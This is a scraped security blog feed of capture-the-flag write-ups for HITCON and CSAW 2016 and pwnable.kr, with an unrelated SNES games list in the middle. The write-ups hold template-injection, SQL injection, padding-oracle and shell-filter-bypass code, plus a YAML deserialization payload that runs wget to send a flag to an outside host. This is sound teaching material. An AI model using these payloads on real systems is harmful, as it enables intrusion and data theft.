<p>It's fairly straight forward of an app. It takes your post, saves it with your session using a <code>secret key</code>. And for every new post, it appends to the previous posts. It additionally allows you to store the posts as either <code>JSON</code>, or <code>YAML</code>. The code is a bit more confusing, and seems to maybe allow you to use <code>Pickle</code> or <code>eval</code>, but that's actually useless/unimportant.</p>

<p>At first glance, I spent a lot of time trying to figure out how to do a YAML Deserialization attack that I read up a little while back on: <a href="https://access.redhat.com/blogs/766093/posts/2592591">https://access.redhat.com/blogs/766093/posts/2592591</a>. However, upon further inspection, it just simply isn't possible due to the way the app does serialization and deserialization.</p>

<p>Essentially the code boils down one of two routes, <code>/</code>, or <code>/post</code>. Both start with <code>load_posts()</code>, which will essentially either fail or do <code>yaml.load()</code>. Typically, this would be dangerous, however the data that it's going to unload is completely uncontrollable by us do to it being tied to the session, and the session being integrity controlled by the <code>secret_key</code>.</p>

<p>We have some control over the session through the <code>/</code> route. However, what that route ends up doing is essentially taking our dirty input, and putting it into a dictionary structure. It then serializes that dictionary using <code>yaml.dump()</code>. Now, what we have instead of our dangerous input is just a plain old harmless serialized dictionary that points to some strings. One of those strings may happen to look dangerous, but is still just a string and it will not be parsed as anything else.</p>

<p>So we're out of luck here for doing anything involving deserialization.</p>

<p>There's one other area where user input seems to go:</p>

<pre><code>return render_template_string(template.format(name=name), **args)  
</code></pre>

<p>Hmm... I wonder what Google shows up for 'template format injection flask' - <a href="https://hackerone.com/reports/125980">https://hackerone.com/reports/125980</a></p>

<p>Aha! A bug bounty by the same creator of the challenge, orange, lol!</p>

<p>Testing his same test, <code>{{'7'*7}}</code> into the name field, gives us exactly what he said it would give <code>7777777</code>.</p>

<p>So, simply changing that to <code>{{config}}</code> is going to render the config module as a string, and output it to us:</p>

<pre><code>&lt;Config {'SESSION_COOKIE_SECURE': False, 'DEBUG': False, 'SESSION_COOKIE_NAME': 'session', 'JSONIFY_PRETTYPRINT_REGULAR': True, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'PREFERRED_URL_SCHEME': 'http', 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SERVER_NAME': None, 'SEND_FILE_MAX_AGE_DEFAULT': 43200, 'TRAP_HTTP_EXCEPTIONS': False, 'MAX_CONTENT_LENGTH': None, 'A': &lt;datetime.tzinfo object at 0x7f3b41b891d0&gt;, 'TRAP_BAD_REQUEST_ERRORS': False, 'JSON_AS_ASCII': True, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SESSION_COOKIE_DOMAIN': None, 'USE_X_SENDFILE': False, 'APPLICATION_ROOT': None, 'SESSION_COOKIE_HTTPONLY': True, 'LOGGER_NAME': 'post_manager', 'SESSION_COOKIE_PATH': None, 'SECRET_KEY': 'hitcon{&gt;_&lt;---Do-you-know-&lt;script&gt;alert(1)&lt;/script&gt;-is-very-fun?}', 'JSON_SORT_KEYS': True}&gt;  
</code></pre>

<p><code>SECRET_KEY</code> is the flag, and the actual session secret key of the website, see below for why that's interesting.</p>

<h1 id="secureposts2">Secure Posts 2</h1>

<p><em>Web 150</em></p>

<blockquote>
  <p>Here is a service that you can store any posts. Can you hack it?
  <a href="http://52.69.126.212/">http://52.69.126.212/</a></p>
</blockquote>

<p>Same exact website as as the first part in 'Secure Posts'. </p>

<p>It's important to understand how the app works, so look at the <a href="https://eugenekolo.com/blog/hitcon-ctf-2016-writeups/#secureposts1">Examination section of Secure Posts 1</a> to understand how the app works.</p>

<p>From the previous challenge we have the <code>secret key</code> of the website. That means we actually have full control of the data that the app will try to deserialize. Without the <code>secret key</code>, we could not edit the session cookie without violating the signature check. But, now we have it, so it's free game!</p>

<pre><code>import yaml  
from flask.sessions import SecureCookieSessionInterface

key = r"hitcon{&gt;_&lt;---Do-you-know-&lt;script&gt;alert(1)&lt;/script&gt;-is-very-fun?}"

class App(object):  
    def __init__(self):
        self.secret_key = None

def load_yaml(data):  
    import yaml
    return yaml.load(data)

exploit = u"some_option: !!python/object/apply:subprocess.call\n \  
  args: [wget eugenekolo.com/$(cat flag2)]\n \
  kwds: {shell: true}\n"

exploit = {'post_type': u'yaml',  
           'post_data': exploit}

app = App()  
app.secret_key = key

# Encode a session exactly how Flask would do it
si = SecureCookieSessionInterface()  
serializer = si.get_signing_serializer(app)  
session = serializer.dumps(exploit)

print("Change your session cookie to: ")  
print(session)

# Test it on ourselves
#x = serializer.loads(session)
#print(x)
#load_yaml(x['post_data'])
</code></pre>

<p>All we really need is some YAML code that does something malicious. This <a href="https://access.redhat.com/blogs/766093/posts/2592591">Redhat Article</a> explains how to do a Python <code>subprocess.call()</code> with YAML, so we can leverage that to get remote execution. Next we need to form our session into a shape that the webapp likes, so that means making it into the correct dictionary with 'post_type' and 'post_data'.</p>

<p>After we have that session ready, we have to encode it using the same scheme that Flask does. This was easier to do than expected. We can then change our session cookie to the string that a real Flask app would do. </p>

<p>Refresh the page...</p>

<pre><code>52.69.126.212 - - [10/Oct/2016:05:02:55 +0300] "GET /hitcon%7Bunseriliaze_is_dangerous_but_RCE_is_fun!!%7D HTTP/1.1" 301 184 "-" "Wget/1.17.1 (linux-gnu)"  
</code></pre>

<h1 id="areyourich">Are you rich?</h1>

<p><em>Web 50</em></p>

<blockquote>
  <p>Description
  Are you rich? Buy the flag! <br>
  <a href="http://52.197.140.254/are_you_rich/">http://52.197.140.254/are_you_rich/</a> <br>
  ps. You should NOT pay anything for this challenge <br>
  Some error messages which is non-related to challenge have been removed</p>
</blockquote>

<p>Navigate to verify.php, and for address:  </p>

<pre><code>d' AND 1=2 UNION ALL SELECT table_name from information_schema.tables LIMIT 3,1 #  
</code></pre>

<p>Change the limit to output a different table_name, and keep enumerating to find the table named <code>flag</code>.</p>

<p>I made a tester script:  </p>

<pre><code>import requests

URL = 'http://52.197.140.254/are_you_rich/verify.php'

for i in range(0, 100):  
    address = r"d' AND 1=2 UNION ALL SELECT table_name from information_schema.tables LIMIT {},1 #".format(str(i))
    print(address)
    data = {'address': address,
            'flag_id': 'flag2',
             'submit': 1}

    r = requests.post(URL, data=data)

    if 'not have enough' not in r.text:
        print(r.text)
</code></pre>

<p>Then do  </p>

<pre><code>d' AND 1=2 UNION ALL SELECT flag from flag1 #  
</code></pre>

<p>And get ...  </p>

<pre><code>Error!: Remote API server reject your invalid address 'hitcon{4r3_y0u_r1ch?ju57_buy_7h3_fl4g!!}'. If your address is valid, please PM @cebrusfs or other admin on IRC.  
</code></pre>]]></content:encoded></item><item><title><![CDATA[CSAW Qual CTF 2016 Writeups]]></title><description><![CDATA[<p>The <a href="https://0xbu.com">team/club I organize at Boston University</a> just got done competing in the <a href="https://ctf.csaw.io">CSAW Qual CTF 2016</a>. It was a bunch of fun, and we came in 119th out of 1274 active teams, top 10%!</p>

<p><img src="https://eugenekolo.com/blog/content/images/2016/09/csaw-2016-challenges.png" alt="scoreboard"></p>

<p>Here's some writeups of the challenges I worked on. Other people's writeups can be</p>]]></description><link>https://eugenekolo.com/blog/csaw-qual-ctf-2016/</link><guid isPermaLink="false">57d74087-02e3-48b2-8b35-3e809dc3edc8</guid><dc:creator><![CDATA[Eugene Kolo]]></dc:creator><pubDate>Mon, 19 Sep 2016 02:45:20 GMT</pubDate><content:encoded><![CDATA[<p>The <a href="https://0xbu.com">team/club I organize at Boston University</a> just got done competing in the <a href="https://ctf.csaw.io">CSAW Qual CTF 2016</a>. It was a bunch of fun, and we came in 119th out of 1274 active teams, top 10%!</p>

<p><img src="https://eugenekolo.com/blog/content/images/2016/09/csaw-2016-challenges.png" alt="scoreboard"></p>

<p>Here's some writeups of the challenges I worked on. Other people's writeups can be found at <a href="https://0xbu.com/writeups">https://0xbu.com/writeups</a>.</p>

<h4 id="writeups">Writeups</h4>

<ul>
<li><a href="https://eugenekolo.com/blog/csaw-qual-ctf-2016/#neo">Neo</a></li>
<li><a href="https://eugenekolo.com/blog/csaw-qual-ctf-2016/#therock">The Rock</a></li>
<li><a href="https://eugenekolo.com/blog/csaw-qual-ctf-2016/#key">Key</a></li>
<li><a href="https://eugenekolo.com/blog/csaw-qual-ctf-2016/#regexpire">Regexpire</a></li>
</ul>

<h1 id="neo">Neo</h1>

<p><em>(Crypto 200)</em>  </p>

<blockquote>
  <p>Summary: <br>
  The challenge was a basic padding oracle attack. A padding oracle attack is present when: 1) A server <em>attempts</em> decryption with padding on controllable data, and 2) The server returns different a different result (i.e. error message) if the cipher text did not unpad correctly (i.e. an oracle). By attempting decryption of specially crafted data, the oracle reveals if unpadding was successful. From that oracle the plaintext can be recovered without the original key.</p>
</blockquote>

<p>The challenge presents to you a website that states "Decrypt the matrix", and an input box that generates a new seemingly random base64 string on refresh. Playing around with submitting the box prints a different message depending on the input, either:</p>

<ol>
<li>Nothing  </li>
<li>AES Exception Thrown  </li>
<li>Invalid Base64</li>
</ol>

<p>The random generated base64 string always returns "Nothing", meaning it probably worked successfully.</p>

<p>So there's a few hints here to tell you what to do:</p>

<ul>
<li>"Decrypt the matrix" - Probably have to decrypt something.</li>
<li>The Matrix has a very important character named "The Oracle".</li>
<li>We get thrown 2 different messages depending on if our input succeeded, or didn't - ala we have an oracle.</li>
</ul>

<p>So putting those pieces together, this is clearly a Padding Oracle exploit exercise.</p>

<p>This was my first padding oracle exploit. The best website while trying to learn this attack for the challenge was: <a href="http://robertheaton.com/2013/07/29/padding-oracle-attack/">http://robertheaton.com/2013/07/29/padding-oracle-attack/</a></p>

<p>From that, I then found some things already built for crafting/testing differently crafted data. I choose, <a href="https://github.com/mwielgoszewski/python-paddingoracle">https://github.com/mwielgoszewski/python-paddingoracle</a> (I also have it easily installable in my <a href="https://github.com/eugenekolo/sec-tools">sec-tools</a>), as the best one for me. It's a nice Python API, where basically all you have to do is define an <code>oracle</code> function, and make it either Throw a 'BadPaddingException' based on your own logic for what throws that, or make it return successfully. The logic to throw a BadPaddingException can be actual crypto, or it can be a web request, it just has to be logic that causes an oracle to speak. </p>

<pre><code class="language-python">from paddingoracle import BadPaddingException, PaddingOracle  
from base64 import b64encode, b64decode  
from urllib import quote, unquote  
import requests  
import socket  
import time

class PadBuster(PaddingOracle):  
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)

    def oracle(self, data, **kwargs):
        print("[*] Trying: {}".format(b64encode(data)))

        # Do Crypto that throws something different if padding error
        r = requests.post('http://crypto.chal.csaw.io:8001/', data={'matrix-id':b64encode(data)})

        if 'AES' in r.text:
            print ("[*] Padding error!")
            raise BadPaddingException
        else:
            print ("[*] No padding error")

if __name__ == '__main__':  
    import logging
    import sys

    logging.basicConfig(level=logging.DEBUG)
    # This is a random string the server printed for us, 
    # assuming have to decrypt this, and see what we get
    encrypted_value = 'XImKWrDW5dFvUVDuwbwLy+nHJmDClEXWLcJRmf44atNU2tKZcVFoyT81bmUkL6WPWg7Dn8HMeeWwhiC+CI8QhDtYqGCBidtHZ+alNqnyTn4='
    padbuster = PadBuster()

    value = padbuster.decrypt(b64decode(encrypted_value), block_size=16, iv=bytearray(16))

    print('Decrypted: %s =&gt; %r' % (encrypted_value, value))
</code></pre>

<blockquote>
  <p>Note: <br>
  It's kind of deceptive in the challenge how a new random base64 string is printed to you on every website refresh. Because of that it can be difficult to figure out what you're supposed to decrypt. I ended up actually editing <code>python-paddingoracle</code> to also print the 'IV' (see the padding oracle article above, but basically IV = intermediate value ^ decrypted 1st block). I saw that the IV was \00*16 (typical default for CBC), so that gave me hope that I was on the right path, and that this really was some usefully encrypted data, and that my padding oracle attack was in fact working.</p>
</blockquote>

<p>Running the script, and waiting about 30 minutes gets the flag:</p>

<pre><code>Decrypted: XImKWrDW5dFvUVDuwbwLy+nHJmDClEXWLcJRmf44atNU2tKZcVFoyT81bmUkL6WPWg7Dn8HMeeWwhiC+CI8QhDtYqGCBidtHZ+alNqnyTn4= =&gt; bytearray(b'\xeeX6\x0c\x99\xb1\xed\x0c4!\xcf\xf0w\xf8u_flag{what_if_i_told_you_you_solved_the_challenge}\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f')  
</code></pre>

<h1 id="therock">The Rock</h1>

<p><em>(Reversing 100)</em>  </p>

<blockquote>
  <p>Summary: <br>
  Fairly straight forward ELF64 C++ reverse engineering. Using a mix of static, and dynamic tools you can get a feel of what the program is doing. It was mostly figuring out which functions do something useful.</p>
</blockquote>

<p>In this challenge we're give an ELF64 binary. Opening it up in IDA reveals the main function, and that it's written in C++, which means there's going to be a lot more garbage data (virtualism, object-oriented, std library, etc. cruft) to sift through.</p>

<p><img src="https://eugenekolo.com/blog/content/images/2016/09/Screenshot-from-2016-09-18-22-56-10.png" alt=""></p>

<p>There's 3 ways to go down from this:</p>

<ol>
<li><p>Purely static analysis - Figure out what each function does, if it's useful or not, typically starting by backtracking from the function that looks most likely to be a <code>validate</code> function. There should be an algorithm that some how compares some form of the <code>input key</code>, to some form of the <code>known good key</code>. The algorithm maybe tricky, and the keys may be shuffled in all sorts of ways, but it boils down to essentially a comparison.</p></li>
<li><p>Purely dynamic analysis - Input a key, and follow it down the call stack, and find what it's compared to. Feed that <code>known good key</code> as your <code>input key</code>. This will really only work if the input key is compared without any encoding to it.</p></li>
<li><p>Some combination of the above 2.</p></li>
</ol>

<p>I ended up doing (1), but (2) was the smarter choice as the <code>input key</code> was being compared directly to an encoded <code>known good key</code>, so simply putting a breakpoint, recording that <code>known good key</code>, and passing it as my <code>input key</code> would do the trick. <br>
But, for whatever reason I wrote the code for (1) instead.</p>

<pre><code class="language- python">#!/usr/bin/env python
"""Original binary (rock.elf) is verifying a key via:

    input_key = &lt;input&gt;
    encoded_key = 'FLAG23456912365453475897834567'
    clean_key = ''
    for c in k:
        tmp = (c+20) ^ 0x50
        clean_key += (c1+9) ^ 0x10

    return input_key == clean_key

So to reverse it you just have to do the opposite to get the clean_key  
and provide that as the input key  
"""
known_good = "FLAG23456912365453475897834567"  
ans = ""

for c in known_good:  
    tmp = (ord(c)-9) ^ 0x10
    ans += chr( (tmp - 20) ^ 0x50) 

# Let's make sure we did this right
should_be_known_good = ""  
for c in ans:  
    tmp = (ord(c) ^ 0x50) + 20
    should_be_known_good += chr((tmp ^ 0x10) + 9)

if known_good == should_be_known_good:  
    print("Round trip successful, printing the flag: ")

print(ans)  
</code></pre>

<pre><code>Round trip successful, printing the flag:  
IoDJuvwxy\tuvyxwxvwzx{\z{vwxyz  
</code></pre>

<h1 id="key">Key</h1>

<p><em>(Reversing 125)</em>  </p>

<blockquote>
  <p>Summary:
  In this challenge you're given a PE32 executable. The executable looks inside of a <code>key file</code>, and compares the contents to an <code>encoded key</code>. The contents of the file are compared as is to the <code>encoded key</code>.</p>
</blockquote>

<p>Executing the program gives us:  </p>

<pre><code>"W?h?a?t h?a?p?p?e?n?" 
</code></pre>

<p>Opening it up in IDA, and searching for that string, and then backtracing for the root cause reveals to us another interesting string:</p>

<p><img src="https://eugenekolo.com/blog/content/images/2016/09/Screenshot-from-2016-09-18-23-39-59.png" alt=""></p>

<blockquote>
  <p>Note: <br>
  Executing the program in <code>wine</code> on Linux crashes... apparently the PE32 uses something that <code>wine</code> hasn't implemented, so you really do need to run this on a Windows box.</p>
</blockquote>

<p>So it's pretty obvious that file has to exist. The key is probably put into it and compared directly (it is), but you can verify through running the program in a debugger. That's what I ended up doing, but you can actually skip that and solve this quicker by not.</p>

<p>After getting past the error print, spending some more time debugging, and tracking memory flow reviews to us that the algorithm of this program is basically:</p>

<pre><code>1. Encode the string 'themidathemidathem' by XORing it with a constant key  
2. Encode the result from (1) via some more gibberish.  
3. Compare (3) to the input file key.  
</code></pre>

<p>We can follow the flow of the program, and find the result of (2):</p>

<pre><code>idg_cni~bjbfi|gsxb  
</code></pre>

<h1 id="regexpire">Regexpire</h1>

<p><em>(Misc 100)</em>  </p>

<blockquote>
  <p>Summary: <br>
  In this challenge you connect to a server, and it prompts you to provide a correct string that will satisfy a regex expression. You must answer with a satisfiable string, and repeat this process until the server spits out the flag.</p>
</blockquote>

<p>I googled for 'reverse regex', and ended up finding the python library <code>rstr</code>. It takes in a regex expression, and returns a string that satisfies it, exactly what we want.</p>

<pre><code>import rstr  
import telnetlib  
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect(("misc.chal.csaw.io", 8001))

s.recv(1024) # junk read

while True:  
    question = s.recv(1024)

    print("Asking for: " + question)

    if 'Irregular' in question: # printed when we messed up
        break
    if 'flag' in question: # hoping this is printed when we're done
        break

    ans = rstr.xeger(question)
    print("Answering: " + ans)
    # The server can't handle '\n' in the middle of an answer
    # as it thinks that's the end of the answer, so we have to ask
    # again for an answer that doesn't have '\n' in it.
    while '\n' in ans[:-1]:
        print('we fucked')
        ans = rstr.xeger(question)
        print("Answering: " + ans)

    s.send(ans)
</code></pre>

<pre><code>nc misc.chal.csaw.io 8001  
Can you match these regexes?  
Asking for: [QSIb][QVvVxYxS]+(bernie|clementine)0{8}[aWeyq]ag*[a-z]6J{9}[a-z]{6}[T\D\DR0vAp]*(tiger|clinton){9}(table|table)[8gpy]

Answering: ISYVYSvvvvxSxSQVxVxYvVVxQQxvvYVQSxQxYvxxvxVYxxSVxQvxvxQQVvxxQVvxxQVVYxYSSVVVVvxQvQYvxvVxVVVvQclementine00000000eagggggggggggggggggggggggy6JJJJJJJJJvqcnnyYEp]!l)Z'?wUXrtz!TpGekY`wh_|W=Sdj{iE+~=+IZUSR*XRUpxjswI=dIu:PFRd^VrLy$(j!Z&amp;$Ts+&gt;)=@c+)X&gt;BStigerclintontigertigertigerclintonclintonclintontigertable8

[Repeated a bunch more times...]

flag{^regularly_express_yourself$}
</code></pre>]]></content:encoded></item><item><title><![CDATA[Top 5 SNES games]]></title><description><![CDATA[<p>It's no secret I'm a huge fan of the Super Nintendo. The well told stories, the beautiful tested-through-time graphics, and the amount of game play in so many of the games made during the '90s of the SNES is just unbelievable.</p>

<h1 id="01legendofzelda">01. Legend of Zelda</h1>

<p><img src="https://eugenekolo.com/blog/content/images/2016/05/34385-Legend_of_Zelda-_The_-_A_Link_to_the_Past_-USA--15.jpg" alt="Legend of Zelda 1"></p>

<p>This game is just unbelievably</p>]]></description><link>https://eugenekolo.com/blog/top-5-snes-games/</link><guid isPermaLink="false">063dcc9c-e537-4099-b383-1e8101a6d724</guid><dc:creator><![CDATA[Eugene Kolo]]></dc:creator><pubDate>Sat, 07 May 2016 23:44:53 GMT</pubDate><content:encoded><![CDATA[<p>It's no secret I'm a huge fan of the Super Nintendo. The well told stories, the beautiful tested-through-time graphics, and the amount of game play in so many of the games made during the '90s of the SNES is just unbelievable.</p>

<h1 id="01legendofzelda">01. Legend of Zelda</h1>

<p><img src="https://eugenekolo.com/blog/content/images/2016/05/34385-Legend_of_Zelda-_The_-_A_Link_to_the_Past_-USA--15.jpg" alt="Legend of Zelda 1"></p>

<p>This game is just unbelievably polished. The story is intact and cohesive (well as much as you can really get in the 90s). The game play keeps you constantly learning new things. The puzzles and exploration keeps you constantly looking, and thinking. Very few games can capture both whimsy, and bravery in a single package. A feature that sets this game apart as an AAA classic in the SNES era is most definitely the two halves of the game, the Light and the Dark worlds. The graphics in both are amazingly designed, and still stand up today.</p>

<p><img src="https://eugenekolo.com/blog/content/images/2016/05/Legend_of_Zelda_a_Link_to_the_Past_Screen02.png" alt="Light and Dark worlds"></p>

<h1 id="02chronotrigger">02. Chrono Trigger</h1>

<p><img src="https://eugenekolo.com/blog/content/images/2016/05/u9qu9uzg1osib0wn.jpg" alt=""></p>

<p>Chrono Trigger is not the most beautiful SNES game, nor the best designed. However, it makes up for all of its flaws with a unique and captivating story, alongside a multi-staged universe. The game takes place along 2 continents, and a few islands, but the trick to making the universe so vast is the game's time travel motif. I have yet to see any other game pull off time travel in ANY sort of way that's as enjoyable, and smooth as Chrono Trigger.</p>

<p><img src="https://eugenekolo.com/blog/content/images/2016/05/33343-Chrono_Trigger_-USA--33.jpg" alt=""></p>

<h1 id="03supermarioworld">03. Super Mario World</h1>

<p><img src="https://eugenekolo.com/blog/content/images/2016/05/gj0ykbay7cewf84f0sd7.jpg" alt=""></p>

<p>Super Mario World provides an amazingly designed world alongside graphics that I feel are unmatched in aging. The game is still stunning today, and the world is just as fun as it was when the game was released.</p>

<p><img src="https://eugenekolo.com/blog/content/images/2016/05/35787-Super_Mario_World_-USA--1.jpg" alt=""></p>

<h1 id="04supermario3">04. Super Mario 3</h1>

<p><img src="https://eugenekolo.com/blog/content/images/2016/05/smb3title.png" alt=""></p>

<p>Super Mario 3 is in a group of games that is very rare. It's the 3rd game in a series, and the best one out of them. Most often sequels to games never match the success of the original, however Super Mario 3 breaks that and surpasses both predecessors. It builds upon everything great in the prior series while adding several new features that don't take away, but only add fun to the game.</p>

<p><img src="https://eugenekolo.com/blog/content/images/2016/05/Super_Mario_Bros-_3_coverart.png" alt=""></p>

<h1 id="05supermariorpg">05. Super Mario RPG</h1>

<p><img src="https://eugenekolo.com/blog/content/images/2016/05/super-mario-rpg-legend-of-the-seven-stars-snes-cover-front-jp-33288.jpg" alt=""></p>

<p>This game was released towards the end of the SNES lifespan, and as such didn't do very well. It was forgotten for a little while, but then remembered and today is many SNES fans favorite games. This game is one of the few where you can find typical Nintendo characters (Mario, Luigi, Toad) alongside characters developed by Square Enix. As such, there's main characters in this game, that have yet to be introduced in any other game by Nintendo or with Mario in it.</p>

<p>It's also one of the few games where you'll see Mario and Bowser on the same team, exchanging jokes and breaking the fourth wall together.</p>

<p><img src="https://eugenekolo.com/blog/content/images/2016/05/super-mario-rpg-legend-of-the-seven-stars-2.jpg" alt=""></p>]]></content:encoded></item><item><title><![CDATA[Pwnable.kr - cmd1, cmd2, and flag]]></title><description><![CDATA[<p>A few swigs of the <a href="http://pwnable.kr/play.php">Toddler's Bottle</a> from <a href="http://pwnable.kr/play.php">pwnable.kr</a>.</p>

<h1 id="cmd1">cmd1</h1>

<p>Solution and approach I took by just printing out my <code>bash</code> history.  </p>

<pre><code>ssh cmd1@pwnable.kr -p2222 (pw:guest)

cmd1@ubuntu:~$ history  
    1  ls
# Let's see what do we have here... okay got ourselves a c file.
    2  cat</code></pre>]]></description><link>https://eugenekolo.com/blog/pwnable-kr-cmd1-cmd2-and-flag/</link><guid isPermaLink="false">0586d473-f62f-4049-a573-6206af8741fb</guid><dc:creator><![CDATA[Eugene Kolo]]></dc:creator><pubDate>Sat, 07 May 2016 04:40:09 GMT</pubDate><content:encoded><![CDATA[<p>A few swigs of the <a href="http://pwnable.kr/play.php">Toddler's Bottle</a> from <a href="http://pwnable.kr/play.php">pwnable.kr</a>.</p>

<h1 id="cmd1">cmd1</h1>

<p>Solution and approach I took by just printing out my <code>bash</code> history.  </p>

<pre><code>ssh cmd1@pwnable.kr -p2222 (pw:guest)

cmd1@ubuntu:~$ history  
    1  ls
# Let's see what do we have here... okay got ourselves a c file.
    2  cat cmd1.c
    3  ls
# Looks like the c file just messes up your PATH env variable. 
# We can just avoid it by using absolute paths.
    4  ./cmd "/bin/cat /home/cmd1/flag"
    5  ./cmd1 "/bin/cat /home/cmd1/flag"
# Hmm. Why's it not working.
    6  ./cmd1 "/bin/cat /home/cmd1/$f"
    7  $f = flag; ./cmd1 "/bin/cat /home/cmd1/$f"
# Oh, because the binary also filters out the word 'flag'.
# Binaries inherit the environment of the shell. We can have a variable that just says 'flag'
# and use that variable instead.
    8  export $f = flag; ./cmd1 "/bin/cat /home/cmd1/$f"
    9  export f = flag; ./cmd1 "/bin/cat /home/cmd1/$f"
# Some fail attempts at setting an env variable
   10  export f=flag; ./cmd1 "/bin/cat /home/cmd1/$f"
   11  env
   12  export f=flag; ./cmd1 "/bin/echo $f"
# Okay that seriously should have worked. What the hell is the problem.
   13  /bin/echo
   14  /bin/echo $f
   15  export f=flag; ./cmd1 "/bin/echo \$f"
# Oh. The shell is expanding $f for us. We need to pass the literal string "$f".
# Gotta escape the $.
   19  export f=flag; ./cmd1 "/bin/cat /home/cmd1/\$f"
Got it. mommy now I get what PATH environment is for :)  
   23  unset f
   24  env
   25  f=flag ./cmd1 "/bin/cat /home/cmd1/\$f"
   26  env
# Some testing. You can just pass a local env variable to programs you execute on the CLI,
# without having to mess up your env for any other programs started from that shell. No
# need to export.
</code></pre>

<h1 id="cmd2">cmd2</h1>

<p>The overall idea to this challenge is to leverage <code>sh</code> built-ins. Notice that I say <code>sh</code> and not <code>bash</code>, that's because the program is doing a <code>system(...)</code> API call, which is actually a wrapper around <code>exec("sh -c ...")</code>. <strong>There are major differences between the <code>sh</code> shell, and the <code>bash</code> shell.</strong></p>

<p>This is my solution. It's really crazy, and I'm a bit too lazy to explain it/barely know what I was thinking when I crafted this masterpiece. But, basically the idea is you need a <code>/</code> (e.g. <code>./cat flag</code>) in order to call a program without a path. So, you have to think of some clever way to get a <code>/</code> into a string.</p>

<pre><code>$ ./cmd2 "\$(printf '%c%c%c%c%c%c%c%c %c%c%c%c%c%c' \$(set \$(printf '%c%c%c%c%c' \$ P A T H); 
set \$(eval echo \$1); echo \${1%no_command_execution_until_you_become_a_hacker}) b i n \$(set  
\$(printf '%c%c%c%c%c' \$ P A T H); set \$(eval echo \$1); echo 
\${1%no_command_execution_until_you_become_a_hacker}) c a t . \$(set \$(printf '%c%c%c%c%c' \$ 
P A T H); set \$(eval echo \$1); echo \${1%no_command_execution_until_you_become_a_hacker}) f l  
a g)"  
</code></pre>

<p>There's a much simpler, almost cheating solution to this challenge as well. Read the man page for <a href="http://linux.die.net/man/1/sh">sh built-in</a> to understand it :).</p>

<pre><code>$ ./cmd2 command -p cat flag
</code></pre>

<p>There's also a medium difficulty solution that somebody showed me, but I leave that as an open problem for the <br>
reader.</p>

<h1 id="flag">flag</h1>

<pre><code>$ wget http://pwnable.kr/bin/flag
$ objdump -d flag
</code></pre>

<p>Returns <em>nothing</em>. Strange.</p>

<pre><code>$ chmod +x flag; ./flag
I will malloc() and strcpy the flag there. take it.  
</code></pre>

<p>Test that string as being the answer. Wrong - that'd have been too easy. <br>
Okay so it does actually do something and is an executable. </p>

<p>Why would objdump fail? If it's a malformed binary is the only reason. That only happens due to some sort of corruption, most often man-made, in things like malware. Malware is often obfuscated to make diassembly and detection harder. It's actually a very difficult problem to figure out how something is packed, and to then reverse it. Luckily most malware authors, and people in general use popular tools at default settings. <a href="http://upx.sourceforge.net/">UPX</a> is the most popular packer, and the default setting leaves the string "UPX" in the binary.</p>

<pre><code>$ strings flag
...
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.08 Copyright (C) 1996-2011 the UPX Team. All Rights Reserved. $
...
UPX!  
UPX!  
</code></pre>

<p>Nice! It's UPX. Let's download a <a href="https://github.com/eugenekolo/sec-tools/blob/master/binary/upx/install-ctf.sh">UPX unpacker</a>.</p>

<pre><code>$ upx -d flag
</code></pre>

<p>And now to debug the unpacked binary.  </p>

<pre><code>$ gdb flag
$ b main
$ r
   0x401163 &lt;frame_dummy+67&gt;:    nop
   0x401164 &lt;main&gt;:    push   rbp
   0x401165 &lt;main+1&gt;:    mov    rbp,rsp
=&gt; 0x401168 &lt;main+4&gt;:    sub    rsp,0x10
   0x40116c &lt;main+8&gt;:    mov    edi,0x496658
   0x401171 &lt;main+13&gt;:    call   0x402080 &lt;puts&gt;
   0x401176 &lt;main+18&gt;:    mov    edi,0x64
   0x40117b &lt;main+23&gt;:    call   0x4099d0 &lt;malloc&gt;
</code></pre>

<p>Nice, a strcpy and malloc as promised when the program was executed.</p>

<pre><code># Inside of gdb:
$ n; n; n; n; n; n
=&gt; 0x401184 &lt;main+32&gt;:    mov    rdx,QWORD PTR [rip+0x2c0ee5]        # 0x6c2070 &lt;flag&gt;
</code></pre>

<p>Oh, the flag is just in 0x6c2070</p>

<pre><code>$ telescope 0x6c2070
0000| 0x6c2070 --&gt; 0x496628 ("UPX...? sounds like a delivery service :)")  
</code></pre>

<p>Get <code>upx</code>, and <code>peda</code> (the telescope command inside of <code>gdb</code>) from my <a href="https://github.com/eugenekolo/sec-tools">sec-tools</a>.</p>]]></content:encoded></item><item><title><![CDATA[Pwn2win 2016 - Python Tokens Writeup]]></title><description><![CDATA[<p>This was a fun little challenge that was primarily thinking (esoteric mostly), reversing, and Python based. The security, or programming expertise is minimal for this one, it's mostly puzzle solving.</p>

<blockquote>
  <p>Tokens <br>
  Points: 50 <br>
  Category: Python Exploitation <br>
  Description: <br>
  English:  </p>
  
  <p>We discovered a Club’s “homemade” token generator system which uses a</p></blockquote>]]></description><link>https://eugenekolo.com/blog/pwn2win-2016-python-tokens-writeup/</link><guid isPermaLink="false">b54ee682-33e5-4737-8526-56d9d8ddf9ac</guid><dc:creator><![CDATA[Eugene Kolo]]></dc:creator><pubDate>Mon, 28 Mar 2016 23:29:10 GMT</pubDate><content:encoded><![CDATA[<p>This was a fun little challenge that was primarily thinking (esoteric mostly), reversing, and Python based. The security, or programming expertise is minimal for this one, it's mostly puzzle solving.</p>

<blockquote>
  <p>Tokens <br>
  Points: 50 <br>
  Category: Python Exploitation <br>
  Description: <br>
  English:  </p>
  
  <p>We discovered a Club’s “homemade” token generator system which uses a fixed value as a seed (is it a joke?). Some Club systems use this token scheme, so we need to make a leak in order to compromise them. Due to a week-long effort, our hardcore newbie SkyMex was able to obtain the token generator source code from a private git repository before it received the official seed.</p>
  
  <p>Submit the flag in the format: CTF-BR{seed}.</p>
</blockquote>

<p>We're given a Python file, <a href="https://gist.github.com/eugenekolo/8d9ca12e8199b3a41921">tokens.py</a>, and a general description of what the file probably is. It's a token generator system, meaning it's supposed to give 1 time credentials, that are usually seeded from random data. But, this one is apparently using a constant seed, and our mission is to get that seed.</p>

<p>The algorithm of the token generator is summarized here in pseudo-python.</p>

<pre><code class="language-python">seed = "???????????????????????"  
while True:  
    userinput = input()
